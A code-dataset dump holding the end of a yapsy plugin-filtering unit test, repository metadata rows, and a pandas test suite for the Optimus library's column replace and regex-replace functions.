"""
Test filter class.
Refused to load plugins whose Name starts with 'C'.
"""
_bannednames = re.compile("^C")
def isPluginOk(self,info):
return not self._bannednames.match(info.name)
class FilteredTestsCase(unittest.TestCase):
"""
Test the correct loading of a simple plugin as well as basic
commands.
"""
def setUp(self):
"""
init
"""
# create the plugin manager
# print os.path.join(os.path.dirname(os.path.abspath(__file__)),"plugins")
self.filteredPluginManager = testFilter(
directories_list=[os.path.join(
os.path.dirname(os.path.abspath(__file__)),"plugins")],
plugin_info_ext="yapsy-filter-plugin",
)
# load the plugins that may be found
self.filteredPluginManager.collectPlugins()
# Will be used later
self.plugin_info = None
def plugin_loading_check(self):
"""
Test if the correct plugins have been loaded.
"""
# check nb of categories
self.assertEqual(len(self.filteredPluginManager.getCategories()),1)
sole_category = self.filteredPluginManager.getCategories()[0]
# check the number of plugins
self.assertEqual(len(self.filteredPluginManager.getPluginsOfCategory(sole_category)),1)
plugins = self.filteredPluginManager.getPluginsOfCategory(sole_category)
for plugin_info in plugins:
TEST_MESSAGE("plugin info: %s" % plugin_info)
self.plugin_info = plugin_info
self.assertTrue(self.plugin_info)
self.assertEqual(self.plugin_info.name,"Simple Plugin")
self.assertEqual(sole_category,self.plugin_info.category)
def testLoaded(self):
"""
Test if the correct plugin has been loaded.
"""
self.plugin_loading_check()
def testActivationAndDeactivation(self):
"""
Test if the activation procedure works.
"""
self.plugin_loading_check()
self.assertTrue(not self.plugin_info.plugin_object.is_activated)
TEST_MESSAGE("plugin object = %s" % self.plugin_info.plugin_object)
self.plugin_info.plugin_object.activate()
self.assertTrue(self.plugin_info.plugin_object.is_activated)
self.plugin_info.plugin_object.deactivate()
self.assertTrue(not self.plugin_info.plugin_object.is_activated)
def testRejectedList(self):
"""
Test if the list of rejected plugins is correct.
"""
for plugin in self.filteredPluginManager.getRejectedPlugins():
TEST_MESSAGE("plugin info: %s" % plugin[2])
self.assertEqual(plugin[2].name,"Config Plugin")
def testRejectedStable(self):
reject1 = list(self.filteredPluginManager.getRejectedPlugins())
self.filteredPluginManager.collectPlugins()
reject2 = list(self.filteredPluginManager.getRejectedPlugins())
self.assertEqual(len(reject1),len(reject2))
def testRejectPlugin(self):
self.filteredPluginManager.locatePlugins()
rejected = self.filteredPluginManager.rejectedPlugins
#If this fails the test in not meaningful..
self.assertTrue(len(rejected) > 0)
nrRejected = len(rejected)
for plugin in rejected:
self.filteredPluginManager.rejectPluginCandidate(plugin)
self.assertEqual(nrRejected,len(self.filteredPluginManager.rejectedPlugins))
def testRemovePlugin(self):
self.filteredPluginManager.locatePlugins()
rejected = self.filteredPluginManager.rejectedPlugins
nrCandidates = len(self.filteredPluginManager.getPluginCandidates())
#If this fails the test in not meaningful..
self.assertTrue(len(rejected) > 0)
for plugin in rejected:
self.filteredPluginManager.removePluginCandidate(plugin)
self.assertEqual(0,len(self.filteredPluginManager.rejectedPlugins))
self.assertEqual( nrCandidates , len(self.filteredPluginManager.getPluginCandidates()))
def testAppendRejectedPlugin(self):
self.filteredPluginManager.locatePlugins()
rejected = self.filteredPluginManager.getRejectedPlugins()
nrRejected = len(rejected)
nrCandidates = len(self.filteredPluginManager.getPluginCandidates())
#If this fails the test in not meaningful..
self.assertTrue(len(rejected) > 0)
#Remove the rejected plugins into out own list.
for plugin in rejected:
self.filteredPluginManager.removePluginCandidate(plugin)
self.assertEqual(len(self.filteredPluginManager.getRejectedPlugins()),0)
##Now Actually test Append.
for plugin in rejected:
self.filteredPluginManager.appendPluginCandidate(plugin)
self.assertEqual(nrRejected ,len(self.filteredPluginManager.rejectedPlugins))
self.assertEqual(nrCandidates , len(self.filteredPluginManager.getPluginCandidates()))
def testAppendOkPlugins(self):
self.filteredPluginManager.locatePlugins()
rejected = self.filteredPluginManager.getRejectedPlugins()
nrRejected = len(rejected)
nrCandidates = len(self.filteredPluginManager.getPluginCandidates())
#If this fails the test in not meaningful..
self.assertTrue(len(rejected) > 0)
#Remove the rejected plugins again.
for plugin in rejected:
self.filteredPluginManager.removePluginCandidate(plugin)
self.assertEqual(len(self.filteredPluginManager.getRejectedPlugins()),0)
for plugin in rejected:
#change the name so it is acceptable.
plugin[2].name = "X" + plugin[2].name[1:]
self.filteredPluginManager.appendPluginCandidate(plugin)
self.assertEqual(0,len(self.filteredPluginManager.rejectedPlugins))
self.assertEqual(nrRejected + nrCandidates , len(self.filteredPluginManager.getPluginCandidates()))
def testUnrejectPlugin(self):
self.filteredPluginManager.locatePlugins()
rejected = self.filteredPluginManager.rejectedPlugins
nrRejected = len(rejected)
nrCandidates = len(self.filteredPluginManager.getPluginCandidates())
#If this fails the test in not meaningful..
self.assertTrue(len(rejected) > 0)
for plugin in rejected:
self.filteredPluginManager.unrejectPluginCandidate(plugin)
self.assertEqual(0,len(self.filteredPluginManager.rejectedPlugins))
self.assertEqual( nrRejected + nrCandidates ,
len(self.filteredPluginManager.getPluginCandidates()))
class FilteredWithMonkeyPathTestsCase(unittest.TestCase):
"""
Test the correct loading oand filtering of plugins when the FilteredPluginManager is just monkey-patched
"""
def setUp(self):
"""
init
"""
# create the plugin manager
# print os.path.join(os.path.dirname(os.path.abspath(__file__)),"plugins")
self.filteredPluginManager = FilteredPluginManager(
directories_list=[os.path.join(
os.path.dirname(os.path.abspath(__file__)),"plugins")],
plugin_info_ext="yapsy-filter-plugin",
)
self.filteredPluginManager.isPluginOk = lambda info:not re.match("^C",info.name)
# load the plugins that may be found
self.filteredPluginManager.collectPlugins()
# Will be used later
self.plugin_info = None
def plugin_loading_check(self):
"""
Test if the correct plugins have been loaded.
"""
# check nb of categories
self.assertEqual(len(self.filteredPluginManager.getCategories()),1)
sole_category = self.filteredPluginManager.getCategories()[0]
# check the number of plugins
self.assertEqual(len(self.filteredPluginManager.getPluginsOfCategory(sole_category)),1)
plugins = self.filteredPluginManager.getPluginsOfCategory(sole_category)
for plugin_info in plugins:
TEST_MESSAGE("plugin info: %s" % plugin_info)
self.plugin_info = plugin_info
self.assertTrue(self.plugin_info)
self.assertEqual(self.plugin_info.name,"Simple Plugin")
self.assertEqual(sole_category,self.plugin_info.category)
def testLoaded(self):
"""
Test if the correct plugin has been loaded.
"""
self.plugin_loading_check()
def testActivationAndDeactivation(self):
"""
Test if the activation procedure works.
"""
self.plugin_loading_check()
self.assertTrue(not self.plugin_info.plugin_object.is_activated)
TEST_MESSAGE("plugin object = %s" % self.plugin_info.plugin_object)
self.plugin_info.plugin_object.activate()
self.assertTrue(self.plugin_info.plugin_object.is_activated)
self.plugin_info.plugin_object.deactivate()
self.assertTrue(not self.plugin_info.plugin_object.is_activated)
def testRejectedList(self):
"""
Test if the list of rejected plugins is correct.
"""
for plugin in self.filteredPluginManager.getRejectedPlugins():
TEST_MESSAGE("plugin info: %s" % plugin[2])
self.assertEqual(plugin[2].name,"Config Plugin")
suite = unittest.TestSuite([
unittest.TestLoader().loadTestsFromTestCase(FilteredTestsCase),
unittest.TestLoader().loadTestsFromTestCase(FilteredWithMonkeyPathTestsCase),
])
| 35.293878
| 105
| 0.773563
| 976
| 8,647
| 6.752049
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| 0.189681
| 0.046737
| 0.042489
| 0.828983
| 0.810622
| 0.775417
| 0.775417
| 0.718513
| 0.718513
| 0
| 0.003956
| 0.123048
| 8,647
| 244
| 106
| 35.438525
| 0.865093
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| 0
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| 0
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| 0.244755
| 1
| 0.118881
| false
| 0
| 0.041958
| 0.006993
| 0.195804
| 0
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| 0
| null | 0
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0
| 7
|
36463602af887c977c819a43ccad3de1abf43cde
| 32,025
|
py
|
Python
|
tests/test_created__replace.py
|
ironmussa/Optimus
|
fbaea6e0957f0bc016280a85ff021904faac20c5
|
[
"Apache-2.0"
] | 1,045
|
2017-07-17T17:59:46.000Z
|
2021-06-15T07:06:48.000Z
|
tests/test_created__replace.py
|
ironmussa/Optimus
|
fbaea6e0957f0bc016280a85ff021904faac20c5
|
[
"Apache-2.0"
] | 955
|
2017-07-14T15:47:58.000Z
|
2021-05-27T14:16:24.000Z
|
tests/test_created__replace.py
|
ironmussa/Optimus
|
fbaea6e0957f0bc016280a85ff021904faac20c5
|
[
"Apache-2.0"
] | 226
|
2017-08-04T20:41:33.000Z
|
2021-05-21T08:28:33.000Z
|
import datetime
import numpy as np
from optimus.tests.base import TestBase
from optimus.helpers.json import json_encoding
from optimus.helpers.functions import deep_sort, df_dicts_equal, results_equal
def Timestamp(t):
return datetime.datetime.strptime(t, "%Y-%m-%d %H:%M:%S")
NaT = np.datetime64('NaT')
nan = float("nan")
inf = float("inf")
class TestReplacePandas(TestBase):
config = {'engine': 'pandas'}
dict = {('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$'], ('japanese name', 'object'): [['Inochi', 'Convoy'], ['Bumble', 'Goldback'], ['Roadbuster'], ['Meister'], ['Megatron'], ['Metroflex']], ('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('Code', 'object'): ['123A', '456', 456, 'e', None, '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', 1, None, True, False], ('NullType', 'object'): [None, None, None, None, None, None], ('attributes', 'object'): [[8.5344, 4300.0], [5.334, 2000.0], [7.9248, 4000.0], [3.9624, 1800.0], [None, 5700.0], [91.44, None]], ('date arrival', 'object'): ['1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10'], ('function(binary)', 'object'): [bytearray(b'Leader'), bytearray(b'Espionage'), bytearray(b'Security'), bytearray(b'First Lieutenant'), bytearray(b'None'), bytearray(b'Battle Station')], ('height(ft)', 'float64'): [-28.0, 17.0, 26.0, 13.0, nan, 300.0], ('last date seen', 'object'): ['2016/09/10', '2015/08/10', '2014/07/10', '2013/06/10', '2012/05/10', '2011/04/10'], ('last position seen', 'object'): ['19.442735,-99.201111', '10.642707,-71.612534', '37.789563,-122.400356', '33.670666,-117.841553', None, None], ('rank', 'int64'): [10, 7, 7, 8, 10, 8], ('Date Type', 'datetime64[ns]'): [Timestamp('2016-09-10 00:00:00'), Timestamp('2015-08-10 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2013-06-24 00:00:00'), Timestamp('2012-05-10 00:00:00'), Timestamp('2011-04-10 00:00:00')], ('age', 'int64'): [5000000, 5000000, 5000000, 5000000, 5000000, 5000000], ('timestamp', 'datetime64[ns]'): [Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00')], ('weight(t)', 'float64'): [4.3, 2.0, 4.0, 1.8, 5.7, nan]}
maxDiff = None
def test_cols_replace_list_chars(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace(cols=['function'], search_by='chars', search=['True', 'False'], replace_by=['Maybe', 'Unlikely'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_full(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace(cols=['function'], search_by='full', search=['True', 'False'], replace_by=['Maybe', 'Unlikely'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value2_chars(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='chars', search=['leader', 'espionage', 'security'], replace_by='this is a test', ignore_case=True)
expected = self.create_dataframe(data={('function', 'object'): ['this is a test', 'this is a test', 'this is a test', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value2_full(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='full', search=['leader', 'espionage', 'security'], replace_by='this is a test', ignore_case=True)
expected = self.create_dataframe(data={('function', 'object'): ['this is a test', 'this is a test', 'this is a test', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value2_values(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='values', search=['leader', 'espionage', 'security'], replace_by='this is a test', ignore_case=True)
expected = self.create_dataframe(data={('function', 'object'): ['this is a test', 'this is a test', 'this is a test', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value2_words(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='words', search=['leader', 'espionage', 'security'], replace_by='this is a test', ignore_case=True)
expected = self.create_dataframe(data={('function', 'object'): ['this is a test', 'this is a test', 'this is a test', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value_chars(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='chars', search=['Leader', 'Firs', 'None', 'Secu'], replace_by='MATCH')
expected = self.create_dataframe(data={('function', 'object'): ['MATCH', 'Espionage', 'MATCHrity', 'MATCHt Lieutenant', 'MATCH', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value_full(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='full', search=['Leader', 'Firs', 'None', 'Secu'], replace_by='MATCH')
expected = self.create_dataframe(data={('function', 'object'): ['MATCH', 'Espionage', 'Security', 'First Lieutenant', 'MATCH', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value_values(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='values', search=['Leader', 'Firs', 'None', 'Secu'], replace_by='MATCH')
expected = self.create_dataframe(data={('function', 'object'): ['MATCH', 'Espionage', 'Security', 'First Lieutenant', 'MATCH', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_value_words(self):
df = self.df.copy().cols.select('function')
result = df.cols.replace(cols='function', search_by='words', search=['Leader', 'Firs', 'None', 'Secu'], replace_by='MATCH')
expected = self.create_dataframe(data={('function', 'object'): ['MATCH', 'Espionage', 'Security', 'First Lieutenant', 'MATCH', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_values(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace(cols=['function'], search_by='values', search=['True', 'False'], replace_by=['Maybe', 'Unlikely'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_list_words(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace(cols=['function'], search_by='words', search=['True', 'False'], replace_by=['Maybe', 'Unlikely'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_lists_list_chars(self):
df = self.df.copy().cols.select(['function', 'japanese name'])
result = df.cols.replace(cols=['function', 'japanese name'], search_by='chars', search=['atro', 'nochi'], replace_by=['Inochi', 'Megatron'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('japanese name', 'object'): ["['IMegatron', 'Convoy']", "['Bumble', 'Goldback']", "['Roadbuster']", "['Meister']", "['MegInochin']", "['Metroflex']"]}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_lists_list_full(self):
df = self.df.copy().cols.select(['function', 'Code', 'Cybertronian'])
result = df.cols.replace(cols=['function', 'Code', 'Cybertronian'], search_by='full', search=['123', '456', '123A'], replace_by=['N/A', 'Number', 'String'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('Code', 'object'): ['String', 'Number', 456, 'e', None, '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', 1, None, True, False]}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_lists_list_values(self):
df = self.df.copy().cols.select(['function', 'japanese name'])
result = df.cols.replace(cols=['function', 'japanese name'], search_by='values', search=['atro', 'nochi'], replace_by=['Inochi', 'Megatron'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('japanese name', 'object'): [['Inochi', 'Convoy'], ['Bumble', 'Goldback'], ['Roadbuster'], ['Meister'], ['Megatron'], ['Metroflex']]}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_lists_list_words(self):
df = self.df.copy().cols.select(['function', 'japanese name'])
result = df.cols.replace(cols=['function', 'japanese name'], search_by='words', search=['atro', 'Megatron', 'nochi', 'Inochi'], replace_by=['--', 'a-match', '--', 'other-match'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('japanese name', 'object'): ["['other-match', 'Convoy']", "['Bumble', 'Goldback']", "['Roadbuster']", "['Meister']", "['a-match']", "['Metroflex']"]}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_list_list_chars(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace_regex(cols=['function'], search_by='chars', search=['....', '.....', '......'], replace_by=['4c', '5c', '6c'])
expected = self.create_dataframe(data={('function', 'object'): ['4cer', '5c', '4c4c', '5cc4c', '4c', '5ccon']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_list_list_full(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace_regex(cols=['function'], search_by='full', search=['....', '.....', '......'], replace_by=['4c', '5c', '6c'])
expected = self.create_dataframe(data={('function', 'object'): ['6c', 'Espionage', 'Security', 'First Lieutenant', '4c', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_list_list_values(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace_regex(cols=['function'], search_by='values', search=['....', '.....', '......'], replace_by=['4c', '5c', '6c'])
expected = self.create_dataframe(data={('function', 'object'): ['6c', 'Espionage', 'Security', 'First Lieutenant', '4c', 'Battle Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_list_list_words(self):
df = self.df.copy().cols.select(['function'])
result = df.cols.replace_regex(cols=['function'], search_by='words', search=['....', '.....', '......'], replace_by=['4c', '5c', '6c'])
expected = self.create_dataframe(data={('function', 'object'): ['6c', 'Espionage', 'Security', '5c Lieutenant', '4c', '6c Station']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_list_value_chars(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace_regex(cols='names', search_by='chars', search=['^a', '^e', '^i', '^o', '^u'], replace_by='starts with a vowel', ignore_case=True)
expected = self.create_dataframe(data={('names', 'object'): ['starts with a vowelptimus', 'bumbl#ebéé ', 'starts with a vowelronhide&', 'Jazz', 'Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_list_value_full(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace_regex(cols='names', search_by='full', search=['^a', '^e', '^i', '^o', '^u'], replace_by='starts with a vowel', ignore_case=True)
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_list_value_words(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace_regex(cols='names', search_by='words', search=['^a', '^e', '^i', '^o', '^u'], replace_by='starts with a vowel', ignore_case=True)
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_lists_list_chars(self):
df = self.df.copy().cols.select(['function', 'Code', 'Cybertronian'])
result = df.cols.replace_regex(cols=['function', 'Code', 'Cybertronian'], search_by='chars', search=[['\\d'], ['.*Tru.*', '.*Fal.*']], replace_by=['has a number', 'has boolean'])
expected = self.create_dataframe(data={('function', 'object'): ['Lehas booleanhhas booleanshas booleanhas booleanhas booleannhas booleanmbehas booleanehas boolean', 'Espionhas booleange', 'Sechas booleanhas booleanity', 'has booleanihas booleansthas booleanLiehas booleantenhas booleannt', 'None', 'Bhas booleantthas booleanehas booleanSthas booleantion'], ('Code', 'object'): ['123A', '456', '456', 'e', 'None', '{cohas a numbere}'], ('Cybertronian', 'object'): ['has booleanhas booleanhas booleanse', 'has booleanhas booleanhas booleanehas boolean+has boolean1', '1', 'None', 'has booleanhas booleanhas booleane', 'has booleanhas booleanhas booleanse']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_lists_list_full(self):
df = self.df.copy().cols.select(['function', 'Code', 'Cybertronian'])
result = df.cols.replace_regex(cols=['function', 'Code', 'Cybertronian'], search_by='full', search=[['\\d', 'e'], ['.*True.*', '.*False.*']], replace_by=['is a number', 'is boolean'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('Code', 'object'): ['123A', '456', 456, 'is a number', None, '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', 1, None, True, False]}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_lists_list_values(self):
df = self.df.copy().cols.select(['function', 'Code', 'Cybertronian'])
result = df.cols.replace_regex(cols=['function', 'Code', 'Cybertronian'], search_by='values', search=[['\\d'], ['.*True.*', '.*False.*']], replace_by=['is a number', 'is boolean'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('Code', 'object'): ['123A', '456', 456, 'is boolean', None, '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', 1, None, True, False]}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_lists_list_words(self):
df = self.df.copy().cols.select(['function', 'Code', 'Cybertronian'])
result = df.cols.replace_regex(cols=['function', 'Code', 'Cybertronian'], search_by='words', search=[['\\d'], ['.*True.*', '.*False.*']], replace_by=['is a number', 'is boolean'])
expected = self.create_dataframe(data={('function', 'object'): ['Leader', 'Espionage', 'Security', 'Firstis booleanLieutenant', 'None', 'Battleis booleanStation'], ('Code', 'object'): ['123A', '456', '456', 'is boolean', 'None', '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', '1', 'None', 'True', 'False']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_value_chars(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace_regex(cols='names', search_by='chars', search='.*atro.*', replace_by='must be Megatron')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'must be Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_value_full(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace_regex(cols='names', search_by='full', search='.*atro.*', replace_by='must be Megatron')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'must be Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_value_values(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace_regex(cols='names', search_by='values', search='.*atro.*', replace_by='must be Megatron')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'must be Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_regex_value_words(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace_regex(cols='names', search_by='words', search='.*atro.*', replace_by='must be Megatron')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'must be Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_types_chars(self):
df = self.df.copy().cols.select('*')
result = df.cols.replace(cols='*', search_by='chars', search=['at', 'an'], replace_by='this is a test')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megthis is a testron', 'Metroplex_)^$'], ('japanese name', 'object'): ["['Inochi', 'Convoy']", "['Bumble', 'Goldback']", "['Roadbuster']", "['Meister']", "['Megthis is a testron']", "['Metroflex']"], ('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenthis is a testt', 'None', 'Bthis is a testtle Stthis is a testion'], ('Code', 'object'): ['123A', '456', '456', 'e', 'None', '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', '1', 'None', 'True', 'False'], ('NullType', 'object'): ['None', 'None', 'None', 'None', 'None', 'None'], ('attributes', 'object'): ['[8.5344, 4300.0]', '[5.334, 2000.0]', '[7.9248, 4000.0]', '[3.9624, 1800.0]', '[None, 5700.0]', '[91.44, None]'], ('date arrival', 'object'): ['1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10'], ('function(binary)', 'object'): ["bytearray(b'Leader')", "bytearray(b'Espionage')", "bytearray(b'Security')", "bytearray(b'First Lieutenthis is a testt')", "bytearray(b'None')", "bytearray(b'Bthis is a testtle Stthis is a testion')"], ('height(ft)', 'object'): ['-28.0', '17.0', '26.0', '13.0', 'nthis is a test', '300.0'], ('last date seen', 'object'): ['2016/09/10', '2015/08/10', '2014/07/10', '2013/06/10', '2012/05/10', '2011/04/10'], ('last position seen', 'object'): ['19.442735,-99.201111', '10.642707,-71.612534', '37.789563,-122.400356', '33.670666,-117.841553', 'None', 'None'], ('rank', 'object'): ['10', '7', '7', '8', '10', '8'], ('Date Type', 'object'): ['2016-09-10', '2015-08-10', '2014-06-24', '2013-06-24', '2012-05-10', '2011-04-10'], ('age', 'object'): ['5000000', '5000000', '5000000', '5000000', '5000000', '5000000'], ('timestamp', 'object'): ['2014-06-24', '2014-06-24', '2014-06-24', '2014-06-24', '2014-06-24', '2014-06-24'], ('weight(t)', 'object'): ['4.3', '2.0', '4.0', '1.8', '5.7', 'nthis is a test']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_types_full(self):
df = self.df.copy().cols.select('*')
result = df.cols.replace(cols='*', search_by='full', search=['at', 'an'], replace_by='this is a test')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$'], ('japanese name', 'object'): [['Inochi', 'Convoy'], ['Bumble', 'Goldback'], ['Roadbuster'], ['Meister'], ['Megatron'], ['Metroflex']], ('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('Code', 'object'): ['123A', '456', 456, 'e', None, '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', 1, None, True, False], ('NullType', 'object'): [None, None, None, None, None, None], ('attributes', 'object'): [[8.5344, 4300.0], [5.334, 2000.0], [7.9248, 4000.0], [3.9624, 1800.0], [None, 5700.0], [91.44, None]], ('date arrival', 'object'): ['1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10'], ('function(binary)', 'object'): [bytearray(b'Leader'), bytearray(b'Espionage'), bytearray(b'Security'), bytearray(b'First Lieutenant'), bytearray(b'None'), bytearray(b'Battle Station')], ('height(ft)', 'float64'): [-28.0, 17.0, 26.0, 13.0, nan, 300.0], ('last date seen', 'object'): ['2016/09/10', '2015/08/10', '2014/07/10', '2013/06/10', '2012/05/10', '2011/04/10'], ('last position seen', 'object'): ['19.442735,-99.201111', '10.642707,-71.612534', '37.789563,-122.400356', '33.670666,-117.841553', None, None], ('rank', 'int64'): [10, 7, 7, 8, 10, 8], ('Date Type', 'datetime64[ns]'): [Timestamp('2016-09-10 00:00:00'), Timestamp('2015-08-10 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2013-06-24 00:00:00'), Timestamp('2012-05-10 00:00:00'), Timestamp('2011-04-10 00:00:00')], ('age', 'int64'): [5000000, 5000000, 5000000, 5000000, 5000000, 5000000], ('timestamp', 'datetime64[ns]'): [Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00')], ('weight(t)', 'float64'): [4.3, 2.0, 4.0, 1.8, 5.7, nan]}, force_data_types=True)
